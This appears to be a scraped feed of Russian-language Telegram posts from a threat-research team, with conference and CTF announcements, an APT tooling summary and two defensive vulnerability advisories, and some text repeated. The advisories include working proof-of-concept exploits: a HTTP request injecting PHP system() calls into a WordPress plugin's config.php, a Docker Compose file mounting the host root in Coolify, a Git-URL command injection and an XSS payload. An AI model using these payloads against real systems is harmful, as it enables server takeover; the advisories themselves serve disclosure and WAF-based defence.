Однажды мы наткнулись на странную веб-панель, а когда пригляделись, поняли, что это целый «командный центр», через которую группировка Shedding Zmiy (и, возможно, некоторые другие группировки) координируют свои атаки на российские организации. В нашем выступлении расскажем:
— как устроена техническая «кухня» злоумышленников;
— с помощью чего они планируют и развивают свои атаки на российские организации и почему иногда такие атаки могут произойти «по клику мыши»;
— как корпоративный подход к организации атак помогает злоумышленникам структурировать свою деятельность.
Приходите 22 августа, в 13:30 в Threat Zone!
🫡 Стенд Solar
Ищите нас на крыше, напротив фото-поинта — на карте это стенд № 11. На стенде проведем розыгрыш призов через лототрон и организуем челленджи. Целых два.
🫡 4RAYS FlagHunt
Подготовили для вас пачку тасков в нашем CTF по реверсу, вебу и форензике. Задания есть разные: и те, что решаются за полчаса, и те над которыми придется попотеть — простым промптом для LLM не отделаться👀
🫡 «Полный Offense» by DSec
Если чувствуете себя в настроении поиграть за команду «красных», то попробуйте свои силы в челлендже «Полный Offense», который готовят наши коллеги из DSec. Просто не будет!
ЗА ВСЕ ПЛАТИМ МЕРЧОМ И\ИЛИ ЗВОНКИМ ОФФКОИНОМ!
Встречаемся на выступлении и на стенде. Он, кстати,с пасхалкой.
Уже завтра стартует конференция OffZone 2025. Мы в ней участвуем — рассказываем заранее, что приготовили.
Однажды мы наткнулись на странную веб-панель, а когда пригляделись, поняли, что это целый «командный центр», через которую группировка Shedding Zmiy (и, возможно, некоторые другие группировки) координируют свои атаки на российские организации. В нашем выступлении расскажем:
— как устроена техническая «кухня» злоумышленников;
— с помощью чего они планируют и развивают свои атаки на российские организации и почему иногда такие атаки могут произойти «по клику мыши»;
— как корпоративный подход к организации атак помогает злоумышленникам структурировать свою деятельность.
Приходите 22 августа, в 13:30 в Threat Zone!
Ищите нас на крыше, напротив фото-поинта — на карте это стенд № 11. На стенде проведем розыгрыш призов через лототрон и организуем челленджи. Целых два.
Подготовили для вас пачку тасков в нашем CTF по реверсу, вебу и форензике. Задания есть разные: и те, что решаются за полчаса, и те над которыми придется попотеть — простым промптом для LLM не отделаться
Если чувствуете себя в настроении поиграть за команду «красных», то попробуйте свои силы в челлендже «Полный Offense», который готовят наши коллеги из DSec. Просто не будет!
ЗА ВСЕ ПЛАТИМ МЕРЧОМ И\ИЛИ ЗВОНКИМ ОФФКОИНОМ!
Встречаемся на выступлении и на стенде. Он, кстати,
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11❤10👌3🤩1👾1
Хранимая RCE 👀
CVE-2025-8723 — уязвимость удаленного выполнения произвольного кода в плагине Cloudflare Image Resizing для WordPress, которая возникает из-за отсутствия аутентификации и недостаточной очистки в методе
😬 Метрики
Настоятельно рекомендуем обновиться.
😬 Подробнее
Уязвимость позволяет менять кодовою базу конфигурационного файла config.php. Другими словами, эту уязвимость можно назвать хранимой RCE. В файле существует такой код, который получает данные из параметра
$config_file — это
Если отправим запрос такого вида,
то получим следующие изменения в конфигурационном файле:
Важно отметить, что
Введённый код напрямую добавляется в файлы плагина и позволяет атакующему выполнять внедрённые команды при каждом запросе к сайту без необходимости ввода
Уточнение: при посещении страницы все активные плагины автоматически загружаются, и будет выполнен любой код в их главных файлах или подключаемых конфигурациях.
😬 Как защититься
На WAF можно написать правило, которое отслеживает передачу функций system, exec, shell_exec, eval в параметрах
CVE-2025-8723 — уязвимость удаленного выполнения произвольного кода в плагине Cloudflare Image Resizing для WordPress, которая возникает из-за отсутствия аутентификации и недостаточной очистки в методе
hook_rest_pre_dispatch(). Уязвимы версии до 1.5.6. Base Score: 9.8 CRITICAL
CWE: CWE-94
Настоятельно рекомендуем обновиться.
Уязвимость позволяет менять кодовою базу конфигурационного файла config.php. Другими словами, эту уязвимость можно назвать хранимой RCE. В файле существует такой код, который получает данные из параметра
cf_image_resizing_format и вставляет их в $config_file.$format = @isset($request['cf_image_resizing_format']) ? $request['cf_image_resizing_format'] : null;
if (null !== $format)
{
$file_content = file_get_contents($config_file);
$file_content = preg_replace("/(define\(\'CF_IMAGE_RESIZING_FORMAT\'\,\s\')(.*)(\'\)\;)/", "$1$format$3", $file_content);
file_put_contents($config_file, $file_content);
}
$config_file — это
config.php.$config_file = WP_PLUGIN_DIR.'/cf-image-resizing/config.php'
Если отправим запрос такого вида,
POST /wp-json/wp/v2/settings/ HTTP/1.1
Host: 192.168.177.165
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/89.0
Accept: application/json, text/plain, */*
Content-Type: application/json
Content-Length: 52
{"cf_image_resizing_format":"'); system('id'); /*" }
то получим следующие изменения в конфигурационном файле:
// Recommended: 'auto'
define('CF_IMAGE_RESIZING_FORMAT', ''); system('id'); /*');
Важно отметить, что
cf_image_resizing_format — не единственный уязвимый параметр. Еще есть, например, cf_image_resizing_fit. Более подробно с ними можно ознакомиться, скачав плагин и открыв config.php.Введённый код напрямую добавляется в файлы плагина и позволяет атакующему выполнять внедрённые команды при каждом запросе к сайту без необходимости ввода
shell-команд. Например, если в кодовую базу плагина попадёт такая строка, файл Hi.html будет создаваться или перезаписываться при каждом посещении сайта. Любой посетитель триггерит выполнение команды.{"cf_image_resizing_format":"'); system('echo \"<h1>Привет<h1>\" > Hi.html'); /*" }На WAF можно написать правило, которое отслеживает передачу функций system, exec, shell_exec, eval в параметрах
cf_image_resizing_fit, cf_image_resizing_format на конечную точку /wp-json/wp/v2/settings/.Please open Telegram to view this post
VIEW IN TELEGRAM
✍6🔥6👀4❤3👍1😁1
Новый инструментарий Fairy Trickster и вероятная связь с Lifting Zmiy
За последнее время вышло много исследований по группировке Fairy Trickster (PhantomCore, Rainbow Hyena, Head Mare) от наших коллег:
😬 «Rainbow Hyena снова атакует: новый бэкдор и смена тактик» от BI.ZONE
😬 «Атрибуция Exchange-кейлоггеров к группировке PhantomCore» от Positive Technologies
😬 «Масштабная кампания кибершпионажа и возможный раскол APT-группировки PhantomCore» от PT
Мы тоже наблюдали аналогичную фишинговую кампанию против наших заказчиков, поэтому хотим поделиться нашей частью уникальной информации про эту группировку.
1️⃣ Помимо описанных коллегами утилит, Fairy Trickster также применяют обратный Socks5 прокси-сервер
2️⃣ На этапе постэксплуатации применялась обфусцированная известная отечественная powershell-утилита
3️⃣ Злоумышленники через
4️⃣ Обфускация упомянутых утилит очень похожа на обфускацию новых версий
Подробнее по пунктам читайте в статье.
За последнее время вышло много исследований по группировке Fairy Trickster (PhantomCore, Rainbow Hyena, Head Mare) от наших коллег:
Мы тоже наблюдали аналогичную фишинговую кампанию против наших заказчиков, поэтому хотим поделиться нашей частью уникальной информации про эту группировку.
tsocks и кастомный .NET бэкдор, который предоставляет обратную оболочку и реализует несколько команд.T1ck3tDump для дампа билетов Kerberos с измененными данными об авторстве.PhantomRemote загрузили новую версию PhantomTaskShell, обфусцированную тем же инструментом, что и утилита T1ck3tDump. BrockenDoor группировки Lifting Zmiy (BO_TEAM, Hoody Hyena). Это позволяет предположить, что группировки могут делиться инструментами. В этом случае обфускатором.Подробнее по пунктам читайте в статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11❤7👀4👍1
Приходите на наш практикум по Sigma-правилам 3-го сентября
Если вы SOC-аналитик, занимаетесь Threat Hunting или DFIR, то у нас для вас новости: 3-го сентябряперевернем календарь и проведем онлайн-практикум по созданию крутых Sigma-правил.
Расскажем:
👍 как правильно написанные Sigma позволяют снизить число ложных срабатываний;
👍 что такое Detection as a Code и как он помогает готовить эффективные Sigma-правила;
👍 как применять Sigma-правила в реальных кейсах.
Умеете писать четкие Sigma-правила? Приходите и проверьте у нас на вебинаре!
Когда: 3 сентября, 12:00 МСК.
Как попасть: зарегистрироваться по ссылке
Если вы SOC-аналитик, занимаетесь Threat Hunting или DFIR, то у нас для вас новости: 3-го сентября
Расскажем:
Умеете писать четкие Sigma-правила? Приходите и проверьте у нас на вебинаре!
Когда: 3 сентября, 12:00 МСК.
Как попасть: зарегистрироваться по ссылке
Please open Telegram to view this post
VIEW IN TELEGRAM
❤9🔥7👍4👎1😁1
Solar 4RAYS FlagHunt: продолжайте охоту
На отгремевшем OFFZONE 2025 мы на нашем стенде проводили CTF. Судя по реакции, наши таски вам понравились: соревновались 200 участников! Кроме того, нас неоднократно просили оставить возможность решать задания после конференции.❤️
Услышали, оставляем!
Если у вас есть желание попробовать свои силы в решении задач по реверсу, вебу и форензике, приходите на наш сервер и продолжайте охоту. Задания доступны до 2 сентября включительно, а после опубликуем в блоге подробный разбор каждого из них.
Удачи в решении✅
На отгремевшем OFFZONE 2025 мы на нашем стенде проводили CTF. Судя по реакции, наши таски вам понравились: соревновались 200 участников! Кроме того, нас неоднократно просили оставить возможность решать задания после конференции.
Услышали, оставляем!
Если у вас есть желание попробовать свои силы в решении задач по реверсу, вебу и форензике, приходите на наш сервер и продолжайте охоту. Задания доступны до 2 сентября включительно, а после опубликуем в блоге подробный разбор каждого из них.
Удачи в решении
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11❤6👍6
RCE RCE XSS В Coolify
В публичном доступе опубликованы три отчета PoC об уязвимостях в
💣 CVE-2025–34159 — платформа позволяет аутентифицированным пользователям с минимальными правами внедрять произвольные директивы
💣 CVE-2025–34161 — платформа позволяет аутентифицированным пользователям с ролью «Участник» выполнять произвольные команды-оболочки через поле Git Repository при создании проекта.
💣 CVE-2025–34157 — платформа уязвима к атаке с использованием хранимого межсайтового скриптинга (XSS) в процессе удаления проекта.
Для всех атак необходима аутентификация, что немного смягчает ее воздействие.
😬 Как эксплуатируется CVE-2025–34159
Для атаки злоумышленник должен совершить действия:
Создать новый проект (New Project) -> Добавить новый ресурс (Add New Resource) -> Выбрать в качестве ресурса Docker Compose Empty - > создать Docker Compose с подобным содержимым - > запустить деплой (Deploy)
▪️ /:/host:rw — монтирует root файловой системы хоста (/) в контейнер по пути /host;
▪️ echo 'LOL RCE' > /host/tmp/proof_rce.txt — создаст файл proof_rce.txt в директории /host/tmp/ контейнера, и этот тот же самый файл в директории /tmp/ на хосте.
😬 Как эксплуатируется CVE-2025–34161
Для атаки злоумышленник должен совершить действия:
Создать новый проект (New Project) -> Добавить новый ресурс (Add New Resource) -> Выбрать в качестве ресурса Private Repository (with GitHub App) - > В поле HTML Url ввести
😬 Как эксплуатируется CVE-2025–34157
Для атаки злоумышленник должен совершить действия:
Создать новый проект (New Project) -> задать имя(Name), например
В качестве примера на рисунке показана CVE-2025–34159 (Скриншот 1) и CVE-2025–34157 (Скриншот 2).
😬 Как защищаться
CVE-2025–34159 — можно написать правило, которое будет блокировать запросы на конечную точку
CVE-2025–34161 — это поведение потенциально допустимо для пользователей с высокими правами. Поэтому правило на передачу
CVE-2025–34157 — большинство современных WAF имеют большой набор сигнатур по выявлению XSS. Но также можно написать правило, опираясь на позитивную модель. Так как речь идет об имени проекта то блокировать передачу
В публичном доступе опубликованы три отчета PoC об уязвимостях в
coolLabs. Все три уязвимости имеют критический уровень опасности, уязвимы версии до 4.0.0-beta.420.7.Docker Compose при создании проекта. Злоумышленник создает вредоносную службу, которая монтирует корневую файловую систему хоста, и получает полный доступ с правами root к серверу.Для всех атак необходима аутентификация, что немного смягчает ее воздействие.
Для атаки злоумышленник должен совершить действия:
Создать новый проект (New Project) -> Добавить новый ресурс (Add New Resource) -> Выбрать в качестве ресурса Docker Compose Empty - > создать Docker Compose с подобным содержимым - > запустить деплой (Deploy)
version: '3.8'
services:
poc-host-root:
image: alpine:3.19
tty: true
volumes:
- /:/host:rw
command: >
sh -c "
echo 'LOL RCE' > /host/tmp/proof_rce.txt
"
▪️ /:/host:rw — монтирует root файловой системы хоста (/) в контейнер по пути /host;
▪️ echo 'LOL RCE' > /host/tmp/proof_rce.txt — создаст файл proof_rce.txt в директории /host/tmp/ контейнера, и этот тот же самый файл в директории /tmp/ на хосте.
Для атаки злоумышленник должен совершить действия:
Создать новый проект (New Project) -> Добавить новый ресурс (Add New Resource) -> Выбрать в качестве ресурса Private Repository (with GitHub App) - > В поле HTML Url ввести
https://github.com/XXX/XXXX.git; ls #; - > выбрать созданный ресурс - > запустить деплой (Deploy) Для атаки злоумышленник должен совершить действия:
Создать новый проект (New Project) -> задать имя(Name), например
<img src = "x" onerror = alert("XSS ")>
При удалении такого проекта администратор или владелец получит выполнение XSS. При удалении XSS скрипт попадает в окно вывода ошибки. В качестве примера на рисунке показана CVE-2025–34159 (Скриншот 1) и CVE-2025–34157 (Скриншот 2).
CVE-2025–34159 — можно написать правило, которое будет блокировать запросы на конечную точку
/livewire/update, если в параметре JSON updates передаются спец символы, например: ; | && < > ` { }"updates":{"github_app.html_url":"https://github.com:fake/repo.git; ls -la #;"}CVE-2025–34161 — это поведение потенциально допустимо для пользователей с высокими правами. Поэтому правило на передачу
command может привести к ложным сработкам. Рекомендуем обновиться или ограничить как передачу команд, так и монтирование директорий для всех пользователей.CVE-2025–34157 — большинство современных WAF имеют большой набор сигнатур по выявлению XSS. Но также можно написать правило, опираясь на позитивную модель. Так как речь идет об имени проекта то блокировать передачу
; | & < > ` { } , - = + Конечная точка - /livewire/update, Json параметр:"updates":{"name":"<img src = \"x\" onerror = alert(\"RCE!\")>","denoscription":"<img src = \"x\" onerror = alert(\"RCE!\")>"}Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍6❤5⚡2❤🔥1